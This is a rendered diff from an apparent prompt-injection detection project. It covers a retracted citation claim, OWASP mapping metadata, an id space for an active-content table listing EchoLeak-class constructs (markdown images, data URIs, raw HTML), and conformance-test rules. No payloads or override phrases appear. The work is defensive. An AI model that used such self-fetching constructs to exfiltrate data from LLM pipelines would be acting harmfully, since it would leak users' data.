`injection-patterns.mjs:274-281`. The guard's port cites `severity.mjs` — a file that `injection-patterns.mjs:274-281`. `severity.mjs` contains **no injection-family severity at
contains **no injection-family severity at all**. So the guard held the right value behind a all** — re-measured 2026-08-10 at `b0de0ca`: `CRITICAL_PATTERNS`, `HIGH_PATTERNS`,
citation that leads nowhere, and a reviewer following that citation to check the number would `MEDIUM_PATTERNS` and `HYBRID_PATTERNS` appear there zero times.
have found nothing and drawn no conclusion. Refusing to copy it was the right call for a
reason better than the one given at the time: not merely that a port is second-hand, but that ~~**The guard's port cites `severity.mjs`.** So the guard held the right value behind a
this particular port could not have read what it claimed to. citation that leads nowhere, and refusing to copy it was right for a better reason than the
one given at the time: this particular port could not have read what it claimed to.~~
**Retracted 2026-08-10. The guard's port cites the right file.** This paragraph was never
measured here; it restated an assertion received from `llm-security`
(`20260809T201048Z`: *"Guardens port satte riktig verdi, men kunne ikke ha lest den fra fila
den oppgir"*) as a commons finding. Measured against the guard's own tree: `severity.mjs`
has **never** appeared in `src/llm_ingestion_guard/injection_lexicon.json` at any point in
that file's history (`git log -S` returns no commits), and at `0bf0729` — the commit
`conformance/manifest.json` pins — the only tree-wide occurrence is `docs/PLAN.md:114`,
correctly attributing the *report* module to `output.mjs` + `severity.mjs`. The guard's only
source statement for the lexicon is the `note` at `injection_lexicon.json:3`, and it names
`injection-patterns.mjs`.
Refusing to copy the value was still the right call — but for the plain reason, that a port
is second-hand evidence, not for the sharper one claimed above. The sharper reason was itself
a wrong citation to a right value, which is the defect this section was written to warn
about. It survived here because it arrived from a repository that had measured the *other*
half of the claim correctly, and the correct half carried the incorrect half past review.
## What this does not show ## What this does not show

View file

@ -1,5 +1,5 @@
{ {
"version": "0.5.0", "version": "0.5.1",
"id": "injection-lexicon", "id": "injection-lexicon",
"description": "Prompt-injection pattern lexicon: the four pattern families a detector matches against untrusted text, and the severity family each belongs to. Data only. The variant building that feeds these patterns (normalisation, homoglyph folding, rot13, unicode-tag escalation) and the buried-payload heuristic are engine behaviour and are deliberately NOT described here.", "description": "Prompt-injection pattern lexicon: the four pattern families a detector matches against untrusted text, and the severity family each belongs to. Data only. The variant building that feeds these patterns (normalisation, homoglyph folding, rot13, unicode-tag escalation) and the buried-payload heuristic are engine behaviour and are deliberately NOT described here.",
"owasp": "LLM01", "owasp": "LLM01",
@ -894,7 +894,8 @@
"source_lines": "274-281", "source_lines": "274-281",
"source_commit": "b0de0ca6d86ce697f39669d177c2c2654c280128", "source_commit": "b0de0ca6d86ce697f39669d177c2c2654c280128",
"verified": "directly, by reading the module at the pinned commit", "verified": "directly, by reading the module at the pinned commit",
"not_from": "scanners/lib/severity.mjs, which was the first file asked about and which contains no injection-family severity at all - grep for CRITICAL_PATTERNS, HIGH_PATTERNS, MEDIUM_PATTERNS or HYBRID_PATTERNS there returns nothing. The Python guard's port carries the correct value but cites that file, so a consumer following its citation would find no answer. Recorded because a wrong citation to a right value is the harder defect to notice." "not_from": "scanners/lib/severity.mjs, which was the first file asked about and which contains no injection-family severity at all - grep for CRITICAL_PATTERNS, HIGH_PATTERNS, MEDIUM_PATTERNS or HYBRID_PATTERNS there returns nothing at the pinned commit. That part stands and was re-measured 2026-08-10.",
"retracted_2026-08-10": "This field also said: 'The Python guard's port carries the correct value but cites that file, so a consumer following its citation would find no answer.' RETRACTED - it is false, and it was never measured here. It restated an assertion received from llm-security (coord message 20260809T201048Z) as if it were a commons finding. Measured against the guard's own tree: severity.mjs has never appeared in src/llm_ingestion_guard/injection_lexicon.json at any point in that file's history (git log -S returns no commits), and at 0bf0729 - the commit conformance/manifest.json pins - the only tree-wide occurrence is docs/PLAN.md:114, which correctly attributes the report module to output.mjs + severity.mjs and says nothing about injection-family severity. The guard's only source statement for the lexicon is the note field at injection_lexicon.json:3, and it cites injection-patterns.mjs - the right file. Kept rather than deleted because this repository's stated reason for recording the original claim was that a wrong citation to a right value is the harder defect to notice, and that turned out to describe this record itself."
}, },
"count": 8, "count": 8,
"patterns": [ "patterns": [

View file

@ -1,5 +1,5 @@
{ {
"version": "0.2.0", "version": "0.2.1",
"id": "owasp-map", "id": "owasp-map",
"description": "Finding-id prefix to OWASP taxonomy codes, in four parallel maps. Every map is keyed by the same 16 scanner prefixes, so a finding carrying a prefix can be placed in whichever taxonomy a report is written against. An empty array means the seed implementation deliberately maps that prefix to nothing in that taxonomy - it is data, not a gap to fill.", "description": "Finding-id prefix to OWASP taxonomy codes, in four parallel maps. Every map is keyed by the same 16 scanner prefixes, so a finding carrying a prefix can be placed in whichever taxonomy a report is written against. An empty array means the seed implementation deliberately maps that prefix to nothing in that taxonomy - it is data, not a gap to fill.",
"$comment": "Extracted without behaviour change from llm-security/scanners/lib/severity.mjs (OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP). Seeded 2026-08-09 from an operator dump; re-verified the same day directly against the module file at commit b0de0ca on the public remote, which is why source_commit is now pinned and the dump-fidelity caveat is gone. The dump states that a fallback map inside one of llm-security's own agent definitions covers only part of the prefix set; that is known drift in the consumer and is explicitly NOT inherited here. The maps below are the complete 16-prefix set from severity.mjs.", "$comment": "Extracted without behaviour change from llm-security/scanners/lib/severity.mjs (OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP). Seeded 2026-08-09 from an operator dump; re-verified the same day directly against the module file at commit b0de0ca on the public remote, which is why source_commit is now pinned and the dump-fidelity caveat is gone. The dump states that a fallback map inside one of llm-security's own agent definitions covers only part of the prefix set; that is known drift in the consumer and is explicitly NOT inherited here. The maps below are the complete 16-prefix set from severity.mjs.",
@ -20,7 +20,8 @@
"verified": "differentially, against the module file at b0de0ca - all four maps, key order, codes_used and unmapped_prefixes reproduced mechanically and compared, 2026-08-09", "verified": "differentially, against the module file at b0de0ca - all four maps, key order, codes_used and unmapped_prefixes reproduced mechanically and compared, 2026-08-09",
"evidence_limits": [ "evidence_limits": [
"What each scanner prefix MEANS was not supplied. The prefixes are reproduced as opaque keys; no expansion of UNI, ENT, PRM and the rest is invented here.", "What each scanner prefix MEANS was not supplied. The prefixes are reproduced as opaque keys; no expansion of UNI, ENT, PRM and the rest is invented here.",
"The taxonomy_name strings are the identity of an external standard, not data read out of severity.mjs - the module names no edition anywhere. They were supplied by llm-security and, for the LLM/agentic/skills maps, cross-read against that repo's knowledge/ documents; only the MCP edition and status were additionally confirmed against the OWASP project page. A consumer that disagrees about which edition a code belongs to should raise it here rather than renumber locally." "The taxonomy_name strings are the identity of an external standard, not data read out of severity.mjs - the module names no edition anywhere. They were supplied by llm-security and, for the LLM/agentic/skills maps, cross-read against that repo's knowledge/ documents; only the MCP edition and status were additionally confirmed against the OWASP project page. A consumer that disagrees about which edition a code belongs to should raise it here rather than renumber locally.",
"Whether each of the four maps has a production consumer in llm-security was not measured here. llm-security reports (repo-wide grep on their side, coord message 2026-08-10T12:38:19Z) that OWASP_MAP is read by running code only as a fallback when a finding lacks an owasp field, and that OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP and OWASP_MCP_MAP have no production consumer at all - only tests and golden artefacts reference them. If that holds, this file's top-level $comment 'Extracted without behaviour change' is vacuously true for three of the four maps: there is no running behaviour to have preserved, not a verified absence of change in one."
] ]
}, },
"prefixes": { "prefixes": {

View file

@ -1,11 +1,59 @@
{ {
"version": "0.1.0", "version": "0.2.0",
"id": "active-content", "id": "active-content",
"description": "Active content in persisted text: constructs that fetch, render or execute on their own when a renderer touches them. The EchoLeak class (CVE-2025-32711). Report-only data: no construct here is defined as something to remove.", "description": "Active content in persisted text: constructs that fetch, render or execute on their own when a renderer touches them. The EchoLeak class (CVE-2025-32711). Report-only data: no construct here is defined as something to remove.",
"owasp": "LLM05", "owasp": "LLM05",
"detector": "active_content", "detector": "active_content",
"label_format": "active:{class}", "label_format": "active:{class}",
"pattern_id_space": {
"$comment": "Stable, commons-owned identifier for each construct, so that a conformance fixture can name an active-content finding. Unlike the injection lexicon's id space, nothing was constructed here: `label_format` and the `constructs` keys were already extracted verbatim from the seed runtime, and their concatenation IS what that runtime emits. This block states an id space that the file already had implicitly rather than introducing one.",
"field": "\"active:\" + the key of the entry in `constructs`",
"ids": [
"active:autolink",
"active:data-uri",
"active:markdown-image",
"active:markdown-link",
"active:raw-html",
"active:reference-link"
],
"verified": {
"method": "The six `constructs` keys were compared to the six class strings the seed runtime passes to its finding emitter: the `_flag(cls, …)` call sites in active_content.py, whose emitter builds `label=f\"active:{cls}\"`. Set-equal, exact strings, no normalisation applied.",
"line_numbers": {
"$comment": "Given per commit rather than once, because the two differ and a reader checking against this file's provenance pin would otherwise land on the wrong lines. The 23-line insert between the two commits shifts everything below it by 21.",
"de09711": "_flag call sites at 337, 341, 345, 349, 363, 369; emitter at 309 — where the comparison was run",
"0bf0729": "the same six call sites at 316, 320, 324, 328, 342, 348; emitter at 288 — the commit `provenance` pins",
"symbols": "`_flag` and the `label=f\"active:{cls}\"` assignment inside it — stable across both, unlike the line numbers"
},
"date": "2026-08-10",
"at_commit": "de09711",
"at_commit_note": "Named because that is where the comparison was actually run, which is NOT the commit this file's provenance pins (0bf0729). active_content.py did change over that range: `git diff 0bf0729..de09711` adds 23 lines. Measured, not assumed - the change is a self-safety length cap (a new `max_scan_chars` parameter, and an `active:oversize-input` finding when the input exceeds it). It adds no construct, removes none, and leaves every `_flag` call site and every construct pattern untouched, so the six-way comparison above holds at both commits. The drift is recorded rather than smoothed over: a reader checking this file against 0bf0729 will see a different active_content.py and is entitled to know why that does not invalidate the check."
},
"not_every_active_label": {
"$comment": "The seed runtime emits at least one `active:`-prefixed label that is NOT in this id space, and a consumer that matches by prefix rather than by membership will mis-scope it.",
"known_example": "active:oversize-input",
"what_it_is": "A self-safety flag (OWASP LLM10) raised when the input exceeds the runtime's scan cap, announcing that the tail went unread. It reports the detector's own coverage, not a construct found in the text, which is why it is not a member of this table.",
"rule": "Membership in this id space is by presence in `ids`, never by the `active:` prefix. A finding carrying that prefix but absent from `ids` does not belong to this data file, and is therefore OUT of scope for a conformance case scoped here - see spec/conformance-corpus.md section 4.",
"introduced": "Between 0bf0729 and de09711; absent at the commit this file's provenance pins."
},
"stability": "An id is a stable identifier. Changing one is a BREAKING change for any consumer matching on it, and requires a major bump of this file.",
"single_runtime": {
"$comment": "This id space is ratified by ONE runtime, not two, and that is a weaker status than the injection lexicon's - stated here rather than left to be discovered by a consumer who assumes the two files carry equal weight.",
"implemented_by": [
"llm_ingestion_guard"
],
"not_implemented_by": [
"llm_security"
],
"absence_evidence": "Measured in llm-security at b0de0ca, not assumed: a case-insensitive tree-wide search for an active-content detector, class table or emitted `active:` label returns no implementation - only prose in `knowledge/` and an entropy-scanner test that mentions the markdown-image construct. `git log -S 'active_content'` and `git log -S 'active:markdown'` over `--all` return zero commits, so the table was never present and later removed either.",
"not_a_coverage_claim": "That runtime having no active-content TABLE is not the same as it being blind to these constructs. Its entropy scanner reaches markdown-image URLs from a different angle (rule E18, host- and query-aware). What is absent is this table, which is all `not_implemented_by` asserts.",
"conformance_consequence": "Under spec/conformance-corpus.md section 1.1, a runtime that does not declare this file reports cases scoped to it as `not-applicable` - neither pass nor error."
},
"aliases": {
"$comment": "No `aliases` object is carried per construct, and the omission is deliberate rather than pending. The lexicon needs aliases because two runtimes name the same pattern differently; here the sole implementing runtime's emitted label IS the id, so an alias would be a copy of the key. A second runtime adopting this table registers its alias then - see the lexicon's aliases block for the shape."
}
},
"$comment": "Extracted verbatim, without behaviour change, from llm-ingestion-pipeline-security v0.3.4 (commit 0bf0729, 2026-08-03): src/llm_ingestion_guard/active_content.py (pattern table, pass order, URL-shape analysis, defang) and src/llm_ingestion_guard/calibration.py (per-construct severities and opacity floors). That module documents itself as the canonical home of this table with the Node port sharing its severities, which is why the guard is the seed source here rather than llm-security.", "$comment": "Extracted verbatim, without behaviour change, from llm-ingestion-pipeline-security v0.3.4 (commit 0bf0729, 2026-08-03): src/llm_ingestion_guard/active_content.py (pattern table, pass order, URL-shape analysis, defang) and src/llm_ingestion_guard/calibration.py (per-construct severities and opacity floors). That module documents itself as the canonical home of this table with the Node port sharing its severities, which is why the guard is the seed source here rather than llm-security.",
"provenance": { "provenance": {

View file

@ -19,6 +19,41 @@ engine rejects the pattern behind it — a silently skipped case is an invisible
negative, which is the failure mode this corpus exists to catch. A case that cannot be run negative, which is the failure mode this corpus exists to catch. A case that cannot be run
MUST be reported as an error, not as a pass. MUST be reported as an error, not as a pass.
### 1.1 Declared tables and `not-applicable`
The runtimes that share this core do not implement the same set of data files, and some
never will: a table can be meaningful in an output gate and meaningless in the surface next
to it. §1 as stated would make every such case a permanent failure, which reports an
architectural difference as a defect and tells a reader nothing.
A runtime claiming conformance therefore MUST declare **the set of commons data files it
implements**, and MUST publish that set alongside its conformance result. A case whose
`scope` (§4) names a data file outside the declared set MUST be reported as
**`not-applicable`** — a third verdict beside pass and fail, and a different thing from the
error of §1. §1's error means *this runtime tried and could not*; `not-applicable` means
*this question was never addressed to this runtime*.
A `not-applicable` case MUST still be enumerated in the result. It MUST NOT be counted as a
pass, and MUST NOT be silently dropped from the denominator: `76/83 passed` and
`76 passed, 7 not-applicable` describe different runtimes, and only the second one can be
checked.
Two constraints keep the verdict from becoming an exit:
- A runtime MUST NOT withdraw a table from its declared set in order to convert failing
cases into `not-applicable` ones. The declaration describes what the runtime implements,
not what it would prefer to be asked. Narrowing it is a visible change to a published
claim, and it MUST be reported as such rather than made quietly between runs.
- `not-applicable` attaches to a **table**, never to a case. A runtime that declares a table
MUST run every case scoped to it, including the ones it fails. Per-case opt-out is exactly
the silent skip §1 forbids.
**What the verdict does not say.** `not-applicable` records that a runtime does not implement
a named commons table. It is not a statement that the runtime is blind to the phenomenon
behind it — a runtime may well detect the same construct through some other mechanism that
this corpus does not constrain, and reading the verdict as a coverage gap would assert
something nobody measured. See §8.
## 2. `input.txt` is bytes, not text ## 2. `input.txt` is bytes, not text
`input.txt` holds the input **verbatim**, UTF-8 encoded. A runtime MUST read it as bytes `input.txt` holds the input **verbatim**, UTF-8 encoded. A runtime MUST read it as bytes
@ -115,10 +150,27 @@ So a runtime MUST NOT raise a lexicon finding this case does not list, and MUST
one it does. Whether the same runtime also flags the input as active content, as a carrier, one it does. Whether the same runtime also flags the input as active content, as a carrier,
or as anything else is **not** this case's business. or as anything else is **not** this case's business.
**"Belongs to" means published in that file, never "shares its prefix."** A runtime MUST
decide membership by looking the id up in the scoped data file, and MUST NOT infer it from
the id's leading segment. The two are not the same set, and the difference is not
hypothetical: one seeding runtime emits `active:oversize-input`, a self-safety flag about its
own scan cap, which carries the `active:` prefix but is no construct in
[`signatures/active-content.json`](../signatures/active-content.json) and is therefore out of
scope for a case scoped there. A prefix-matching implementation would pull it into the
comparison and fail a case over a finding the corpus makes no claim about.
The scoping is what makes the exactness safe. The two seeding runtimes do not implement the The scoping is what makes the exactness safe. The two seeding runtimes do not implement the
same set of tables — one has no active-content table at all — so a whole-report comparison same set of tables — one has no active-content table at all — so a whole-report comparison
would fail for reasons that have nothing to do with the pattern under test. Scoping the would fail for reasons that have nothing to do with the pattern under test. Scoping the
comparison to one published table asks a question both can answer. comparison to one published table asks a question about that table alone.
Through version 0.1.1 this paragraph ended "…asks a question both can answer", which held
only while every case was scoped to the one table both runtimes implement. It stopped being
true the moment a case was scoped to `signatures/active-content.json`, which only one of them
has. Scope narrows *what* is compared; it does not guarantee that every runtime is a valid
addressee of the comparison. That second question is answered by the declared table set in
§1.1, and a case scoped outside a runtime's declared set is `not-applicable` there rather
than failed.
The exactness is what makes the corpus worth running. A corpus that only checks that the The exactness is what makes the corpus worth running. A corpus that only checks that the
expected finding is *present* is passed by a runtime that flags everything. expected finding is *present* is passed by a runtime that flags everything.
@ -152,6 +204,19 @@ this repository, so the id space cannot reach the filesystem unchanged. `__` doe
anywhere in the ratified id space, so the transform is one-to-one — verified collision-free anywhere in the ratified id space, so the transform is one-to-one — verified collision-free
across all cases rather than assumed. across all cases rather than assumed.
The transform carries a consequence that is easy to miss: **a case id is derived from a
pattern id alone, so the corpus holds at most one case per `pattern_id` in single-finding
scopes.** There is nowhere in the name to put a second one. That is a real constraint, not a
formality — a source runtime's own test matrix may well drive two payloads at the same
pattern, as one of the seeding runtimes does for `active:markdown-image`. When it does, the
two payloads MUST be compared *within the case's scope* before a second case is minted: if
their in-scope finding sets are equal, the second case cannot fail in any way the first does
not, and its distinguishing signal lies outside the scope where this corpus makes no claim.
Such a payload MUST NOT be given a discriminated case id; the derivation rule is the
contract, and a suffix would break the reverse transform. It SHOULD instead be recorded as
a named omission in `conformance/manifest.json`, so the drop is visible rather than
inferred from a count.
**A case id is a stable identifier. Changing one is a BREAKING change** and requires a major **A case id is a stable identifier. Changing one is a BREAKING change** and requires a major
bump of the corpus version, exactly like changing a pattern id. Consumers name cases in bump of the corpus version, exactly like changing a pattern id. Consumers name cases in
their own test suites; a renamed case is a silently disappeared test. their own test suites; a renamed case is a silently disappeared test.
@ -176,3 +241,9 @@ one — it is why each case records how it was produced.
Nor is the corpus a coverage claim. It covers the pattern tables named in Nor is the corpus a coverage claim. It covers the pattern tables named in
`conformance/manifest.json` under `scope_covered`, and the tables under `scope_planned` are `conformance/manifest.json` under `scope_covered`, and the tables under `scope_planned` are
named there precisely so that their absence is visible rather than inferred. named there precisely so that their absence is visible rather than inferred.
And a result is only readable next to the declared table set of §1.1. A pass count on its
own does not say which questions were asked: a runtime that implements one table and one
that implements four can print the same number. The declared set is what turns the number
back into a claim — which is also why a `not-applicable` verdict proves nothing in either
direction about the runtime's actual detection. It says the corpus did not ask.